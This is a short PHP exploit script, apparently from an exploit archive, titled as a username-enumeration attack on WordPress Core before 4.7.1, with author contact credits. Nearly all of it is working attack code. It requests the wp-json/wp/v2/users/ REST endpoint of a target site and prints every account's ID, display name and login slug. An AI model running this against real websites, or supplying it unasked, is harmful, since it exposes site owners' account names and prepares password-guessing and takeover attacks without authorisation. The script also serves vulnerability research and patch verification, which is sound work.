WordPress Core < 4.7.1 - Username Enumeration

#!usr/bin/php

<?php

#Author: Mateus a.k.a Dctor

#fb: fb.com/hatbashbr/

#E-mail: dctoralves@protonmail.ch

#Site: https://mateuslino.tk

header ('Content-type: text/html; charset=UTF-8');

$url= "http://localhost/";

$payload="wp-json/wp/v2/users/";

$urli = file_get_contents($url.$payload);

$json = json_decode($urli, true);

if($json){

echo "*-----------------------------*\n";

foreach($json as $users){

echo "[*] ID :|" .$users['id'] ."|\n";

echo "[*] Name: |" .$users['name'] ."|\n";

echo "[*] User :|" .$users['slug'] ."|\n";

echo "\n";

}echo "*-----------------------------*";}

else{echo "[*] No user";}